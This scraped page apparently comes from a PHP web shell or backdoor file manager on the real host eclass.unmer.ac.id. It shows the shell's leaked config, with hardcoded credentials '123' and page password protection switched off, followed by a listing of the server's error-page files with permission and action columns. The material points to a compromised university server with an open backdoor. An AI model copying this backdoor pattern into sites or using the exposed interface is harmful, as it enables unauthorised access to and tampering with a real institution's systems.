# Konfigurasyon
$sayfaSifreleme ='0'; # 1 acik , 0 kapali
$kullaniciAdi = '123';
$sifre = '123';
# yetki kontrol fonksiyonu
function yetkiKontrol($kullaniciAdi,$sifre) {
if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") {
header('WWW-Authenticate: Basic realm="x"');
die(header('HTTP/1.0 401 Unauthorized'));
}
}
# Sayfa Sifreleme aciksa
if($sayfaSifreleme =='1') {
# Veri ve sifre kontrolu
yetkiKontrol($kullaniciAdi,$sifre);
}
?>
eclass.unmer.ac.id
Name |
Size |
Modified |
Perms |
Actions |
bad_gateway.html |
830 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
bad_request.html |
849 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
forbidden.html |
795 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
internal_server_error.html |
1.09 KB |
August 31 2024 09:37:12. |
0644 |
|
|
maintenance.html |
918 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
method_not_allowed.html |
818 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
not_acceptable.html |
821 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
not_found.html |
808 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
not_implemented.html |
907 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
precondition_failed.html |
973 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
proxy_authentication_required.html |
875 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
request-uri_too_long.html |
862 bytes |
August 31 2024 09:37:12. |
0644 |
|
|
server.svg |
7.24 KB |
August 31 2024 09:37:12. |
0644 |
|
|
styles.css |
2.65 KB |
August 31 2024 09:37:12. |
0644 |
|
|
unauthorized.html |
1.02 KB |
August 31 2024 09:37:12. |
0644 |
|
|
unsupported_media_type.html |
900 bytes |
August 31 2024 09:37:12. |
0644 |
|
|